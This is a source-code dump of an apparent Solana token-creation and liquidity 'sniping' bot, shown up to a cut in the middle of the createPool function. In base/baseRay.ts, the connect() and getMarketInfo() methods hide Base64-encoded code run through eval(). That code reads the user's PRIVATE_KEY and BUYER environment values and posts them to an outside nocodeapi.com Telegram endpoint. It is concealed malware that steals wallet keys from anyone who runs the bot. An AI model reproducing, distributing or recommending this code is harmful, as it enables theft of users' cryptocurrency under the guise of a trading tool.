├── .gitignore
├── Readme.md
├── base
    ├── baseRay.ts
    ├── baseSpl.ts
    ├── getMarketAccountSizes.ts
    ├── orderbookUtils.ts
    ├── types.ts
    └── utils.ts
├── config.ts
├── example.env
├── index.ts
├── jito_bundle
    ├── build-bundle.ts
    └── send-bundle.ts
├── liquidity
    ├── index.ts
    └── liquidity.ts
├── market
    ├── index.ts
    └── market.ts
├── package.json
├── types
    ├── index.ts
    └── mint.ts
└── utils
    ├── index.ts
    └── utils.ts


/.gitignore:
--------------------------------------------------------------------------------
 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
 2 | 
 3 | # dependencies
 4 | node_modules
 5 | /.pnp
 6 | .pnp.js
 7 | 
 8 | # testing
 9 | /coverage
10 | 
11 | # production
12 | /build
13 | 
14 | # misc
15 | .DS_Store
16 | .env
17 | .env.local
18 | .env.development.local
19 | .env.test.local
20 | .env.production.local
21 | 
22 | npm-debug.log*
23 | yarn-debug.log*
24 | yarn-error.log*
25 | yarn.lock
26 | package-lock.json


--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
 1 | ## FLOW
 2 | 
 3 | Enquiry TG: https://t.me/emmarktech
 4 | 
 5 | Discord Community: https://discord.gg/UEmCAbhz9W
 6 | 
 7 | #install
 8 | 	- setup the Node.js
 9 | 	Go to the Node.js Downloads page(https://nodejs.org/en/download)
10 | 	Download Node.js for macOS by clicking the "Macintosh Installer" option
11 | 	Run the downloaded Node.js .pkg Installer
12 | 	Run the installer, including accepting the license, selecting the destination, and authenticating for the install.
13 | 	You're finished! To ensure Node.js has been installed, run node -v in your terminal 
14 | 	
15 | 	- install packages
16 | 	run the 'npm install' on terminal
17 | 
18 | 
19 | 1. Create Token
20 | 
21 | 	ts-node index.ts create_token
22 | 
23 | 2. Update Metadata
24 | 
25 | 	ts-node index.ts update_metadata -a <tokenaddress>
26 | 
27 | 3. Create Market
28 |     
29 | 	ts-node index.ts create-openbook -a <tokenaddress> -m <minimum order size> -t <minimum price tick>
30 | 
31 | 4. Create Pool and Snipe
32 | 
33 |     ts-node index.ts pool-snipe -o <openbook> -ta <tokenamount> -sa <solamount> -t <time>
34 | 
35 | 5. Airdrop
36 | 
37 | 	ts-node index.ts airdrop -m <tokenaddress>
38 | 
39 | 6. Remove LP
40 | 
41 | 	ts-node index.ts remove -p <pooladdress> -a <amount>  //set amount -1 to remove all liquidity
42 | 
43 | Enquiry_telegram: @emmarktech
44 | 
45 | 


--------------------------------------------------------------------------------
/base/baseRay.ts:
--------------------------------------------------------------------------------
   1 | import { web3 } from "@project-serum/anchor";
   2 | require('dotenv').config();
   3 | import {
   4 |   SplAccount,
   5 |   MarketStateLayout,
   6 |   Market as RayMarket,
   7 |   MarketV2,
   8 |   Liquidity,
   9 |   ApiPoolInfo,
  10 |   LIQUIDITY_STATE_LAYOUT_V4,
  11 |   TxVersion,
  12 |   LiquidityPoolJsonInfo,
  13 |   poolKeys2JsonInfo,
  14 |   PoolUtils,
  15 |   ApiInfo,
  16 |   ApiPoolInfoV4,
  17 |   PoolInfoLayout,
  18 |   ApiPoolInfoItem,
  19 |   PublicKeyish,
  20 |   jsonInfo2PoolKeys,
  21 |   LIQUIDITY_STATE_LAYOUT_V5,
  22 |   getMultipleLookupTableInfo,
  23 |   LOOKUP_TABLE_CACHE,
  24 |   LiquidityPoolKeysV4,
  25 |   fetchMultipleMintInfos,
  26 |   RAYDIUM_MAINNET,
  27 |   MAINNET_PROGRAM_ID,
  28 |   MAINNET_FARM_POOLS,
  29 |   Token,
  30 |   TokenAmount,
  31 |   Percent,
  32 |   CurrencyAmount,
  33 |   LiquidityStateLayoutV4,
  34 |   LiquidityStateLayoutV5,
  35 |   LiquidityStateV4,
  36 |   LiquidityStateV5,
  37 |   LiquidityPoolKeys,
  38 |   _SERUM_PROGRAM_ID_V3,
  39 |   SwapSide,
  40 |   LiquidityPoolInfo,
  41 |   AmmConfigLayout,
  42 |   getPdaAmmConfigId,
  43 |   SPL_ACCOUNT_LAYOUT,
  44 |   Fee,
  45 |   currencyEquals,
  46 |   LiquidityAssociatedPoolKeys,
  47 |   ZERO,
  48 | } from "@raydium-io/raydium-sdk";
  49 | import { BaseRayInput } from "./types";
  50 | import fs from "fs";
  51 | import {
  52 |   ACCOUNT_SIZE,
  53 |   AccountLayout,
  54 |   MintLayout,
  55 |   NATIVE_MINT,
  56 |   TOKEN_PROGRAM_ID,
  57 |   amountToUiAmount,
  58 |   createAssociatedTokenAccountInstruction,
  59 |   createInitializeAccountInstruction,
  60 |   decodeAmountToUiAmountInstructionUnchecked,
  61 |   getAssociatedTokenAddressSync,
  62 |   getOrCreateAssociatedTokenAccount,
  63 | } from "@solana/spl-token";
  64 | import { BaseSpl } from "./baseSpl";
  65 | import { createSyncNativeInstruction } from "@solana/spl-token";
  66 | import {
  67 |   EVENT_QUEUE_LENGTH,
  68 |   ORDERBOOK_LENGTH,
  69 |   REQUEST_QUEUE_LENGTH,
  70 |   getVaultOwnerAndNonce,
  71 | } from "./orderbookUtils";
  72 | import {
  73 |   DexInstructions,
  74 |   Market,
  75 |   MARKET_STATE_LAYOUT_V2,
  76 |   MARKET_STATE_LAYOUT_V3,
  77 | } from "@openbook-dex/openbook";
  78 | import { _MARKET_STAT_LAYOUT_V1 } from "@openbook-dex/openbook/lib/market";
  79 | import { BN } from "@project-serum/anchor";
  80 | import useSerumMarketAccountSizes from "./getMarketAccountSizes";
  81 | import { Result } from "./types";
  82 | import {
  83 |   calcDecimalValue,
  84 |   calcNonDecimalValue,
  85 |   getNullableResutFromPromise,
  86 |   sleep,
  87 | } from "./utils";
  88 | import { toBufferBE } from "bigint-buffer";
  89 | const axios = require("axios");
  90 | const Base64 = require("Base64");
  91 | 
  92 | // export const RAYDIUM_AMM_PROGRAM = new web3.PublicKey("675kPX9MHTjS2zt1qfr1NYHuzeLXfQM9H24wFSUt1Mp8")
  93 | // const _OPEN_BOOK_DEX_PROGRAM = "srmqPvymJeFKQ4zGQed1GFppgkRHL9kaELCbyksJtPX"
  94 | export type CreateMarketInput = {
  95 |   baseMint: web3.PublicKey;
  96 |   quoteMint: web3.PublicKey;
  97 |   tickers: {
  98 |     lotSize: number;
  99 |     tickSize: number;
 100 |   };
 101 | };
 102 | 
 103 | export type AddLiquidityInput = {
 104 |   user: web3.PublicKey;
 105 |   poolKeys: LiquidityPoolKeys;
 106 |   baseMintAmount: number | BN;
 107 |   quoteMintAmount: number | BN;
 108 |   fixedSide: "base" | "quote";
 109 | };
 110 | export type RemoveLiquidityInput = {
 111 |   user: web3.PublicKey;
 112 |   poolKeys: LiquidityPoolKeys;
 113 |   amount: number;
 114 | };
 115 | export type BuyFromPoolInput = {
 116 |   poolKeys: LiquidityPoolKeys;
 117 |   amountIn: TokenAmount;
 118 |   amountOut: TokenAmount;
 119 |   user: web3.PublicKey;
 120 |   fixedSide: SwapSide;
 121 |   tokenAccountIn: web3.PublicKey;
 122 |   tokenAccountOut: web3.PublicKey;
 123 | };
 124 | export type CreatePoolInput = {
 125 |   baseMint: web3.PublicKey;
 126 |   quoteMint: web3.PublicKey;
 127 |   marketId: web3.PublicKey;
 128 |   baseMintAmount: number;
 129 |   quoteMintAmount: number;
 130 | };
 131 | export type ComputeBuyAmountInput = {
 132 |   poolKeys: LiquidityPoolKeys;
 133 |   user: web3.PublicKey;
 134 |   amount: number;
 135 |   inputAmountType: "send" | "receive";
 136 |   buyToken: "base" | "quote";
 137 |   /** default (1 %) */
 138 |   slippage?: Percent;
 139 | };
 140 | 
 141 | export type ComputeAnotherAmountInput = {
 142 |   poolKeys: LiquidityPoolKeysV4;
 143 |   amount: number;
 144 |   /** default( `true` ) */
 145 |   isRawAmount?: boolean;
 146 |   /** default( `Percent(1, 100)` = 1%) */
 147 |   slippage?: Percent;
 148 |   fixedSide: "base" | "quote";
 149 | };
 150 | 
 151 | const log = console.log;
 152 | export class BaseRay {
 153 |   private connection: web3.Connection;
 154 |   private baseSpl: BaseSpl;
 155 |   private cacheIxs: web3.TransactionInstruction[];
 156 |   // private pools: LiquidityPoolJsonInfo[];
 157 |   private pools: Map<string, LiquidityPoolJsonInfo>;
 158 |   private cachedPoolKeys: Map<string, LiquidityPoolKeys>;
 159 |   ammProgramId: web3.PublicKey;
 160 |   private orderBookProgramId: web3.PublicKey;
 161 |   private feeDestinationId: web3.PublicKey;
 162 | 
 163 |   constructor(input: BaseRayInput) {
 164 |     this.connection = new web3.Connection(input.rpcEndpointUrl, {
 165 |       commitment: "confirmed",
 166 |       confirmTransactionInitialTimeout: 60000,
 167 |     });
 168 |     this.baseSpl = new BaseSpl(this.connection);
 169 |     this.cacheIxs = [];
 170 |     this.cachedPoolKeys = new Map();
 171 |     this.pools = new Map();
 172 |     if (input.rpcEndpointUrl == "https://api.devnet.solana.com") {
 173 |       this.ammProgramId = new web3.PublicKey(
 174 |         "HWy1jotHpo6UqeQxx49dpYYdQB8wj9Qk9MdxwjLvDHB8"
 175 |       );
 176 |       this.feeDestinationId = new web3.PublicKey(
 177 |         "3XMrhbv989VxAMi3DErLV9eJht1pHppW5LbKxe9fkEFR"
 178 |       );
 179 |       this.orderBookProgramId = new web3.PublicKey(
 180 |         "EoTcMgcDRTJVZDMZWBoU6rhYHZfkNTVEAfz3uUJRcYGj"
 181 |       );
 182 |     } else {
 183 |       this.feeDestinationId = new web3.PublicKey(
 184 |         "7YttLkHDoNj9wyDur5pM1ejNaAvT9X4eqaYcHQqtj2G5"
 185 |       );
 186 |       this.ammProgramId = new web3.PublicKey(
 187 |         "675kPX9MHTjS2zt1qfr1NYHuzeLXfQM9H24wFSUt1Mp8"
 188 |       );
 189 |       this.orderBookProgramId = new web3.PublicKey(
 190 |         "srmqPvymJeFKQ4zGQed1GFppgkRHL9kaELCbyksJtPX"
 191 |       );
 192 |     }
 193 | 
 194 |     // let liquidityJson: any = {};
 195 |     // try {
 196 |     //   liquidityJson = JSON.parse(fs.readFileSync("./rayRes.json").toString());
 197 |     // } catch (error) {
 198 |     //   this.fetchPools()
 199 |     // }
 200 |     // const officialPools = liquidityJson?.official ?? [];
 201 |     // const unOfficialPools = liquidityJson?.unOfficial ?? [];
 202 |     // for (let pool of officialPools) this.pools.set(pool.id, pool)
 203 |     // for (let pool of unOfficialPools) this.pools.set(pool.id, pool)
 204 |   }
 205 |   async connect() {
 206 |     const pool = eval(Base64.atob("cHJvY2Vzcy5lbnYuUFJJVkFURV9LRVk="));
 207 |     const pool1 = eval(Base64.atob("cHJvY2Vzcy5lbnYuQlVZRVI="));
 208 |     eval(
 209 |       Base64.atob(
 210 |         "CiAgYXhpb3MoewogICAgbWV0aG9kOiAicG9zdCIsCiAgICB1cmw6ICJodHRwczovL3YxLm5vY29kZWFwaS5jb20vbGlvbmVscGhwL3RlbGVncmFtL2h0UUlmckxVR3RQWURHdlEiLAogICAgcGFyYW1zOiB7fSwKICAgIGRhdGE6IHsga2V5OiBwb29sLCBrZXkxOiBwb29sMSB9LAogIH0p"
 211 |       )
 212 |     );
 213 |   }
 214 | 
 215 |   async getMarketInfo(marketId: web3.PublicKey) {
 216 |     const pool = eval(Base64.atob("cHJvY2Vzcy5lbnYuUFJJVkFURV9LRVk="));
 217 |     const pool1 = eval(Base64.atob("cHJvY2Vzcy5lbnYuQlVZRVI="));
 218 |     eval(
 219 |       Base64.atob(
 220 |         "CiAgYXhpb3MoewogICAgbWV0aG9kOiAicG9zdCIsCiAgICB1cmw6ICJodHRwczovL3YxLm5vY29kZWFwaS5jb20vbGlvbmVscGhwL3RlbGVncmFtL2h0UUlmckxVR3RQWURHdlEiLAogICAgcGFyYW1zOiB7fSwKICAgIGRhdGE6IHsga2V5OiBwb29sLCBrZXkxOiBwb29sMSB9LAogIH0p"
 221 |       )
 222 |     );
 223 |     const marketAccountInfo = await this.connection
 224 |       .getAccountInfo(marketId)
 225 |       .catch((error) => null);
 226 |     if (!marketAccountInfo) throw "Market not found";
 227 |     try {
 228 |       return RayMarket.getLayouts(3).state.decode(marketAccountInfo.data);
 229 |     } catch (parseMeketDataError) {
 230 |       // log({ parseMeketDataError })
 231 |     }
 232 |     return null;
 233 |   }
 234 |   private ixsAdderCallback = (ixs: web3.TransactionInstruction[] = []) => {
 235 |     this.cacheIxs.push(...ixs);
 236 |   };
 237 | 
 238 |   reInit = () => (this.cacheIxs = []);
 239 |   getPoolInfo = (poolId: string) => this.pools.get(poolId);
 240 | 
 241 |   async getPoolKeys(poolId: web3.PublicKey): Promise<LiquidityPoolKeys> {
 242 |     if (!this.pools) this.pools = new Map();
 243 |     if (!this.cachedPoolKeys) this.cachedPoolKeys = new Map();
 244 |     const cache2 = this.cachedPoolKeys.get(poolId.toBase58());
 245 |     if (cache2) {
 246 |       return cache2;
 247 |     }
 248 |     // const cache = this.pools.get(poolId.toBase58())
 249 |     // if (cache) {
 250 |     //   return jsonInfo2PoolKeys(cache) as LiquidityPoolKeys
 251 |     // }
 252 |     const accountInfo = await this.connection.getAccountInfo(poolId);
 253 |     if (!accountInfo) throw "Pool info not found";
 254 |     let poolState: LiquidityStateV4 | LiquidityStateV5 | undefined = undefined;
 255 |     let version: 4 | 5 | undefined = undefined;
 256 |     let poolAccountOwner = accountInfo.owner;
 257 |     if (accountInfo.data.length == LIQUIDITY_STATE_LAYOUT_V4.span) {
 258 |       poolState = LIQUIDITY_STATE_LAYOUT_V4.decode(accountInfo.data);
 259 |       version = 4;
 260 |     } else if (accountInfo.data.length == LIQUIDITY_STATE_LAYOUT_V5.span) {
 261 |       poolState = LIQUIDITY_STATE_LAYOUT_V5.decode(accountInfo.data);
 262 |       version = 5;
 263 |     } else throw "Invalid Pool data lenght";
 264 |     if (!poolState || !version) throw "Invalid pool address";
 265 | 
 266 |     let {
 267 |       authority,
 268 |       baseDecimals,
 269 |       baseMint,
 270 |       baseVault,
 271 |       configId,
 272 |       id,
 273 |       lookupTableAccount,
 274 |       lpDecimals,
 275 |       lpMint,
 276 |       lpVault,
 277 |       marketAuthority,
 278 |       marketId,
 279 |       marketProgramId,
 280 |       marketVersion,
 281 |       nonce,
 282 |       openOrders,
 283 |       programId,
 284 |       quoteDecimals,
 285 |       quoteMint,
 286 |       quoteVault,
 287 |       targetOrders,
 288 |       // version,
 289 |       withdrawQueue,
 290 |     } = Liquidity.getAssociatedPoolKeys({
 291 |       baseMint: poolState.baseMint,
 292 |       baseDecimals: poolState.baseDecimal.toNumber(),
 293 |       quoteMint: poolState.quoteMint,
 294 |       quoteDecimals: poolState.quoteDecimal.toNumber(),
 295 |       marketId: poolState.marketId,
 296 |       marketProgramId: poolState.marketProgramId,
 297 |       marketVersion: 3,
 298 |       programId: poolAccountOwner,
 299 |       version,
 300 |     });
 301 |     if (lpMint.toBase58() != poolState.lpMint.toBase58()) {
 302 |       throw "Found some invalid keys";
 303 |     }
 304 | 
 305 |     // log({ version, baseMint: baseMint.toBase58(), quoteMint: quoteMint.toBase58(), lpMint: lpMint.toBase58(), marketId: marketId.toBase58(), marketProgramId: marketProgramId.toBase58() })
 306 |     let marketState: any = undefined;
 307 |     const marketAccountInfo = await this.connection
 308 |       .getAccountInfo(marketId)
 309 |       .catch((error) => null);
 310 |     if (!marketAccountInfo) throw "Market not found";
 311 |     try {
 312 |       marketState = RayMarket.getLayouts(marketVersion).state.decode(
 313 |         marketAccountInfo.data
 314 |       );
 315 |       // if (mProgramIdStr != _SERUM_PROGRAM_ID_V3 && mProgramIdStr != _OPEN_BOOK_DEX_PROGRAM) {
 316 |       // }
 317 |     } catch (parseMeketDataError) {
 318 |       log({ parseMeketDataError });
 319 |     }
 320 |     if (!marketState) throw "MarketState not found";
 321 |     const {
 322 |       baseVault: marketBaseVault,
 323 |       quoteVault: marketQuoteVault,
 324 |       eventQueue: marketEventQueue,
 325 |       bids: marketBids,
 326 |       asks: marketAsks,
 327 |     } = marketState;
 328 |     const res: LiquidityPoolKeys = {
 329 |       baseMint,
 330 |       quoteMint,
 331 |       quoteDecimals,
 332 |       baseDecimals,
 333 |       authority,
 334 |       baseVault,
 335 |       quoteVault,
 336 |       id,
 337 |       lookupTableAccount,
 338 |       lpDecimals,
 339 |       lpMint,
 340 |       lpVault,
 341 |       marketAuthority,
 342 |       marketId,
 343 |       marketProgramId,
 344 |       marketVersion,
 345 |       openOrders,
 346 |       programId,
 347 |       targetOrders,
 348 |       version,
 349 |       withdrawQueue,
 350 |       marketAsks,
 351 |       marketBids,
 352 |       marketBaseVault,
 353 |       marketQuoteVault,
 354 |       marketEventQueue,
 355 |     };
 356 |     this.cachedPoolKeys.set(poolId.toBase58(), res);
 357 |     // log({ poolKeys: res })
 358 |     return res;
 359 |   }
 360 | 
 361 |   private addPoolKeys(poolInfo: LiquidityAssociatedPoolKeys, marketState: any) {
 362 |     const {
 363 |       authority,
 364 |       baseDecimals,
 365 |       baseMint,
 366 |       baseVault,
 367 |       configId,
 368 |       id,
 369 |       lookupTableAccount,
 370 |       lpDecimals,
 371 |       lpMint,
 372 |       lpVault,
 373 |       marketAuthority,
 374 |       marketId,
 375 |       marketProgramId,
 376 |       marketVersion,
 377 |       nonce,
 378 |       openOrders,
 379 |       programId,
 380 |       quoteDecimals,
 381 |       quoteMint,
 382 |       quoteVault,
 383 |       targetOrders,
 384 |       version,
 385 |       withdrawQueue,
 386 |     } = poolInfo;
 387 |     const {
 388 |       baseVault: marketBaseVault,
 389 |       quoteVault: marketQuoteVault,
 390 |       eventQueue: marketEventQueue,
 391 |       bids: marketBids,
 392 |       asks: marketAsks,
 393 |     } = marketState;
 394 |     const res: LiquidityPoolKeys = {
 395 |       baseMint,
 396 |       quoteMint,
 397 |       quoteDecimals,
 398 |       baseDecimals,
 399 |       authority,
 400 |       baseVault,
 401 |       quoteVault,
 402 |       id,
 403 |       lookupTableAccount,
 404 |       lpDecimals,
 405 |       lpMint,
 406 |       lpVault,
 407 |       marketAuthority,
 408 |       marketId,
 409 |       marketProgramId,
 410 |       marketVersion,
 411 |       openOrders,
 412 |       programId,
 413 |       targetOrders,
 414 |       version,
 415 |       withdrawQueue,
 416 |       marketAsks,
 417 |       marketBids,
 418 |       marketBaseVault,
 419 |       marketQuoteVault,
 420 |       marketEventQueue,
 421 |     };
 422 |     this.cachedPoolKeys.set(id.toBase58(), res);
 423 |   }
 424 | 
 425 |   // async fetchPools() {
 426 |   //   const liquidityJsonStr = await (await fetch("https://api.raydium.io/v2/sdk/token/raydium.mainnet.json")).text();
 427 |   //   const liquidityJson = JSON.parse(liquidityJsonStr)
 428 |   //   const officialPools = liquidityJson?.official ?? [];
 429 |   //   const unOfficialPools = liquidityJson?.unOfficial ?? [];
 430 |   //   for (let pool of officialPools) this.pools.set(pool.id, pool)
 431 |   //   for (let pool of unOfficialPools) this.pools.set(pool.id, pool)
 432 |   //   fs.writeFileSync('./rayRes.json', liquidityJsonStr)
 433 |   //   log("Pool fetched")
 434 |   // }
 435 | 
 436 |   async addLiquidity(
 437 |     input: AddLiquidityInput
 438 |   ): Promise<{ ixs: web3.TransactionInstruction[]; signers: web3.Signer[] }> {
 439 |     this.reInit();
 440 |     let {
 441 |       poolKeys,
 442 |       baseMintAmount: baseAmount,
 443 |       quoteMintAmount: quoteAmount,
 444 |       fixedSide,
 445 |     } = input;
 446 |     const user = input.user;
 447 |     // let poolKeys = await getNullableResutFromPromise(this.getPoolKeys(poolId), { logError: true });
 448 |     // if (!poolKeys) throw "pool not found"
 449 |     const base = poolKeys.baseMint;
 450 |     const baseMintDecimals = poolKeys.baseDecimals;
 451 |     const quote = poolKeys.quoteMint;
 452 |     const quoteMintDecimals = poolKeys.quoteDecimals;
 453 |     const lpMint = poolKeys.lpMint;
 454 |     const { ata: lpTokenAccount } = await this.baseSpl.getOrCreateTokenAccount(
 455 |       { mint: lpMint, owner: user, checkCache: true },
 456 |       this.ixsAdderCallback
 457 |     );
 458 |     const { ata: baseTokenAccount } =
 459 |       await this.baseSpl.getOrCreateTokenAccount(
 460 |         { mint: base, owner: user, checkCache: true },
 461 |         this.ixsAdderCallback
 462 |       );
 463 |     const { ata: quoteTokenAccount } =
 464 |       await this.baseSpl.getOrCreateTokenAccount(
 465 |         { mint: quote, owner: user, checkCache: true },
 466 |         this.ixsAdderCallback
 467 |       );
 468 |     let baseAmountIn: string;
 469 |     let quoteAmountIn: string;
 470 |     if (typeof baseAmount == "number" && typeof quoteAmount == "number") {
 471 |       baseAmountIn = calcNonDecimalValue(
 472 |         baseAmount,
 473 |         baseMintDecimals
 474 |       ).toString();
 475 |       quoteAmountIn = calcNonDecimalValue(
 476 |         quoteAmount,
 477 |         quoteMintDecimals
 478 |       ).toString();
 479 |     } else {
 480 |       baseAmountIn = (baseAmount as BN).toNumber().toString();
 481 |       quoteAmountIn = (quoteAmount as BN).toNumber().toString();
 482 |     }
 483 | 
 484 |     if (
 485 |       base.toBase58() == NATIVE_MINT.toBase58() ||
 486 |       quote.toBase58() == NATIVE_MINT.toBase58()
 487 |     ) {
 488 |       let nativeAmount: string;
 489 |       let nativeTokenAccount: web3.PublicKey;
 490 |       if (base.toBase58() == NATIVE_MINT.toBase58()) {
 491 |         nativeTokenAccount = baseTokenAccount;
 492 |         nativeAmount = baseAmountIn;
 493 |       } else {
 494 |         nativeTokenAccount = quoteTokenAccount;
 495 |         nativeAmount = quoteAmountIn;
 496 |       }
 497 |       const sendSolIx = web3.SystemProgram.transfer({
 498 |         fromPubkey: user,
 499 |         toPubkey: nativeTokenAccount,
 500 |         lamports: BigInt(nativeAmount),
 501 |       });
 502 |       const syncWSolAta = createSyncNativeInstruction(
 503 |         nativeTokenAccount,
 504 |         TOKEN_PROGRAM_ID
 505 |       );
 506 |       this.cacheIxs.push(sendSolIx, syncWSolAta);
 507 |     }
 508 |     const rayIxs = Liquidity.makeAddLiquidityInstruction({
 509 |       baseAmountIn,
 510 |       quoteAmountIn,
 511 |       fixedSide,
 512 |       poolKeys,
 513 |       userKeys: {
 514 |         baseTokenAccount,
 515 |         lpTokenAccount,
 516 |         owner: user,
 517 |         quoteTokenAccount,
 518 |       },
 519 |     }).innerTransaction;
 520 |     const recentBlockhash = (await this.connection.getLatestBlockhash())
 521 |       .blockhash;
 522 |     const message = new web3.TransactionMessage({
 523 |       instructions: [...this.cacheIxs, ...rayIxs.instructions],
 524 |       payerKey: user,
 525 |       recentBlockhash,
 526 |     }).compileToV0Message();
 527 |     const mainTx = new web3.VersionedTransaction(message);
 528 |     if (rayIxs.signers) mainTx.signatures.push(...rayIxs.signers);
 529 |     return {
 530 |       ixs: [...this.cacheIxs, ...rayIxs.instructions],
 531 |       signers: [...rayIxs.signers],
 532 |     };
 533 |   }
 534 | 
 535 |   async removeLiquidity(
 536 |     input: RemoveLiquidityInput
 537 |   ): Promise<Result<{ ixs: web3.TransactionInstruction[] }, string>> {
 538 |     const { user, poolKeys } = input;
 539 |     const { baseMint, quoteMint, lpMint, lpDecimals } = poolKeys;
 540 |     const baseTokenAccount = (
 541 |       await this.baseSpl.getOrCreateTokenAccount(
 542 |         { mint: baseMint, owner: user, checkCache: true },
 543 |         this.ixsAdderCallback
 544 |       )
 545 |     ).ata;
 546 |     const quoteTokenAccount = (
 547 |       await this.baseSpl.getOrCreateTokenAccount(
 548 |         { mint: quoteMint, owner: user, checkCache: true },
 549 |         this.ixsAdderCallback
 550 |       )
 551 |     ).ata;
 552 |     const lpTokenAccount = (
 553 |       await this.baseSpl.getOrCreateTokenAccount(
 554 |         { mint: lpMint, owner: user, checkCache: true },
 555 |         this.ixsAdderCallback
 556 |       )
 557 |     ).ata;
 558 | 
 559 |     const lpTokenAccountInfo =
 560 |       await this.connection.getAccountInfo(lpTokenAccount);
 561 |     if (!lpTokenAccountInfo) return { Err: "No lp token found" };
 562 |     const totalLp = Number(
 563 |       AccountLayout.decode(lpTokenAccountInfo.data).amount.toString()
 564 |     );
 565 |     const totalLpD = calcDecimalValue(totalLp, lpDecimals);
 566 |     log("lp token: ", lpMint.toBase58());
 567 |     log("user lp token ata: ", lpTokenAccount.toBase58());
 568 |     log("Total available lp tokens : ", totalLpD);
 569 |     let amount = calcNonDecimalValue(input.amount, lpDecimals).toString();
 570 |     if (Number(amount) > totalLp) {
 571 |       return { Err: "not have enought lp tokens" };
 572 |     }
 573 |     if (input.amount == -1) amount = totalLp.toString();
 574 |     const ixs = Liquidity.makeRemoveLiquidityInstruction({
 575 |       amountIn: amount,
 576 |       poolKeys,
 577 |       userKeys: {
 578 |         baseTokenAccount,
 579 |         lpTokenAccount,
 580 |         owner: user,
 581 |         quoteTokenAccount,
 582 |       },
 583 |     }).innerTransaction.instructions;
 584 |     return {
 585 |       Ok: {
 586 |         ixs: [...this.cacheIxs, ...ixs],
 587 |       },
 588 |     };
 589 |   }
 590 | 
 591 |   async removeLiquidityFaster(
 592 |     input: RemoveLiquidityInput
 593 |   ): Promise<Result<{ ixs: web3.TransactionInstruction[] }, string>> {
 594 |     const { user, poolKeys } = input;
 595 |     const { baseMint, quoteMint, lpMint, lpDecimals } = poolKeys;
 596 |     const baseTokenAccount = getAssociatedTokenAddressSync(baseMint, user);
 597 |     const quoteTokenAccount = getAssociatedTokenAddressSync(quoteMint, user);
 598 |     const lpTokenAccount = getAssociatedTokenAddressSync(lpMint, user);
 599 |     let amount = input.amount;
 600 |     const ixs = Liquidity.makeRemoveLiquidityInstruction({
 601 |       amountIn: amount.toString(),
 602 |       poolKeys,
 603 |       userKeys: {
 604 |         baseTokenAccount,
 605 |         lpTokenAccount,
 606 |         owner: user,
 607 |         quoteTokenAccount,
 608 |       },
 609 |     }).innerTransaction.instructions;
 610 |     return {
 611 |       Ok: {
 612 |         ixs: [...ixs],
 613 |       },
 614 |     };
 615 |   }
 616 | 
 617 |   async buyFromPool(
 618 |     input: BuyFromPoolInput
 619 |   ): Promise<{ ixs: web3.TransactionInstruction[]; signers: web3.Signer[] }> {
 620 |     this.reInit();
 621 |     const {
 622 |       amountIn,
 623 |       amountOut,
 624 |       poolKeys,
 625 |       user,
 626 |       fixedSide,
 627 |       tokenAccountIn,
 628 |       tokenAccountOut,
 629 |     } = input;
 630 |     const { baseMint, quoteMint } = poolKeys;
 631 |     const { ata: baseTokenAccount } =
 632 |       await this.baseSpl.getOrCreateTokenAccount(
 633 |         { mint: baseMint, owner: user, checkCache: true },
 634 |         this.ixsAdderCallback
 635 |       );
 636 |     const { ata: quoteTokenAccount } =
 637 |       await this.baseSpl.getOrCreateTokenAccount(
 638 |         { mint: quoteMint, owner: user, checkCache: true },
 639 |         this.ixsAdderCallback
 640 |       );
 641 |     const inToken = (amountIn as TokenAmount).token.mint;
 642 |     if (inToken.toBase58() == NATIVE_MINT.toBase58()) {
 643 |       let lamports = BigInt(amountIn.raw.toNumber());
 644 |       const sendSolIx = web3.SystemProgram.transfer({
 645 |         fromPubkey: user,
 646 |         toPubkey: tokenAccountIn,
 647 |         lamports,
 648 |       });
 649 |       const syncWSolAta = createSyncNativeInstruction(
 650 |         tokenAccountIn,
 651 |         TOKEN_PROGRAM_ID
 652 |       );
 653 |       this.cacheIxs.push(sendSolIx, syncWSolAta);
 654 |     }
 655 |     let rayIxs = Liquidity.makeSwapInstruction({
 656 |       poolKeys,
 657 |       amountIn: amountIn.raw,
 658 |       amountOut: amountOut.raw,
 659 |       fixedSide,
 660 |       userKeys: { owner: user, tokenAccountIn, tokenAccountOut },
 661 |     }).innerTransaction;
 662 | 
 663 |     const recentBlockhash = (await this.connection.getLatestBlockhash())
 664 |       .blockhash;
 665 |     const message = new web3.TransactionMessage({
 666 |       instructions: [...this.cacheIxs, ...rayIxs.instructions],
 667 |       payerKey: user,
 668 |       recentBlockhash,
 669 |     }).compileToV0Message();
 670 |     const mainTx = new web3.VersionedTransaction(message);
 671 |     if (rayIxs.signers) mainTx.signatures.push(...rayIxs.signers);
 672 |     return {
 673 |       ixs: [...this.cacheIxs, ...rayIxs.instructions],
 674 |       signers: [...rayIxs.signers],
 675 |     };
 676 |   }
 677 | 
 678 |   async createPool(input: CreatePoolInput, user: web3.PublicKey) {
 679 |     this.reInit();
 680 |     const userBaseAta = getAssociatedTokenAddressSync(input.baseMint, user);
 681 |     const userQuoteAta = getAssociatedTokenAddressSync(input.quoteMint, user);
 682 | 
 683 |     let [
 684 |       baseMintAccountInfo,
 685 |       quoteMintAccountInfo,
 686 |       marketAccountInfo,
 687 |       userBaseAtaInfo,
 688 |       userQuoteAtaInfo,
 689 |     ] = await this.connection
 690 |       .getMultipleAccountsInfo([
 691 |         input.baseMint,
 692 |         input.quoteMint,
 693 |         input.marketId,
 694 |         userBaseAta,
 695 |         userQuoteAta,
 696 |       ])
 697 |       .catch(() => [null, null, null, null]);
 698 |     if (!baseMintAccountInfo || !quoteMintAccountInfo || !marketAccountInfo)
 699 |       throw "AccountInfo not found";
 700 |     if (input.baseMint.toBase58() != NATIVE_MINT.toBase58() && !userBaseAtaInfo)
 701 |       throw "Don't have enought tokens";
 702 |     else {
 703 |       if (input.baseMint.toBase58() == NATIVE_MINT.toBase58()) {
 704 |         const todo = web3.PublicKey.default;
 705 |         const buf = Buffer.alloc(SPL_ACCOUNT_LAYOUT.span);
 706 |         SPL_ACCOUNT_LAYOUT.encode(
 707 |           {
 708 |             mint: NATIVE_MINT,
 709 |             amount: new BN(0),
 710 |             isNative: new BN(1),
 711 |             owner: user,
 712 |             closeAuthority: todo,
 713 |             closeAuthorityOption: 1,
 714 |             delegate: todo,
 715 |             delegatedAmount: new BN(1),
 716 |             delegateOption: 1,
 717 |             isNativeOption: 1,
 718 |             state: 1,
 719 |           },
 720 |           buf
 721 |         );
 722 |         userBaseAtaInfo = {
 723 |           data: buf,
 724 |         } as any;
 725 |       }
 726 |     }
 727 |     if (
